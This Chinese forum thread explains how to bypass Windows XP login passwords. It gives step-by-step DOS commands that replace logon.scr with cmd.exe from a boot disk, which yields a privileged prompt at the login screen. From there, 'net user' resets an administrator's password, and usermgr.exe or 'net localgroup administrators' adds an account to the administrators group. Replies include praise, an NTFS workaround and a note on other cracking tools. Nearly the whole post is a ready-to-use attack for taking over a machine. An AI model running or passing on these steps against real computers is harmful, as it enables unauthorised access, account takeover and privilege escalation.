[分享]一张普通软盘或者启动U盘攻破所有XP密码

andysky

方法一：

(1)启动电脑，使用DOS启动盘(比如：Windows 98启动盘)进入纯DOS状态。

(2)在DOS提示符下，根据下面步骤操作：


cd\ (切换到根目录)cd windows\system32 (切换到系统目录)mkdir temphack (创建临时文件夹)copy logon.scr temphacklogon.scr (备份logon.scr)copy cmd.exe temphackcmd.exe (备份cmd.exe)del logon.scr (删除logon.scr)rename cmd.exe logon.scr (将cmd.exe改名为logon.scr)exit (退出)


(3)重启电脑，在登录等待画面出现后静静等候，如果没有修改屏幕保护时间，大约10分钟，系统就会自动启动登录屏保程序，可是由于Logon.scr已经由cmd.exe代替了，所以系统就启动了cmd.exe，进入命令行提示符状态。

(4)这时，我们可以使用命令：net user password来修改密码了。

假设有一个超级管理员的帐号是Admin，希望重新设置其密码为admin，那么可以使用命令：net user Admin admin，回车后即可更改密码。

(5)接下来，想不想进入桌面系统看看硬盘上面的东西呢？在命令行提示符状态下输入Explorer命令试试看，是不是很顺利地进入了Windows的桌面？
____________________________________________________________________________________
小提示

如果你有一个普通用户帐号，利用上面介绍的方法稍作改动就可以把它变成超级管理员Administrator帐号。

备份logon.scr和usermgr.exe，将第二步中的cmd.exe全部换成usermgr.exe，然后重启，静静等候，这时出现的不是命令行提示符，而是用户管理器，这时我们就有权限把自己加到Administrator组了。

[此贴子已经被作者于2008-9-29 10:11:27编辑过]

andysky

举例:

键入命令：“net user zhangbq 123456 /add”，强制将“zhangbq”用户的口令更改为“123456”。若想在此添加一新用户（如：用户名为abcdef，口令为123456）的话，请键入“net user abcdef 123456 /add”，添加后可用“net localgroup administrators abcdef /add”命令将用户提升为系统管理组“administrators”的用户，并使其具有超级权限。

daley

厉害!!

fieldsun

C盘是NTFS 格式的,用98盘启动进不了NT盘,有什么办法?

andysky

QUOTE:

以下是引用fieldsun在2007-5-6 16:34:32的发言：
C盘是NTFS 格式的,用98盘启动进不了NT盘,有什么办法?

A盘中可以装一个读取NTFS分区的软件，才不到1MB，这软件大概五年前就有了。

fieldsun

明白了,谢谢

zkw00

在这里真是学到不少东西

天使会受伤

不错！！

lhs3164

厉害！

wuwei123

楼主的意思就是告诉大家,如果你的DOS别人可能，你的电脑是不安全的。在DOS下破解WINDOWS的密码方法很多，比如DreamPackPL，DOSPASS等。即使不能进DOS，能使用光驱启动，也可以使用Windows KEY破解。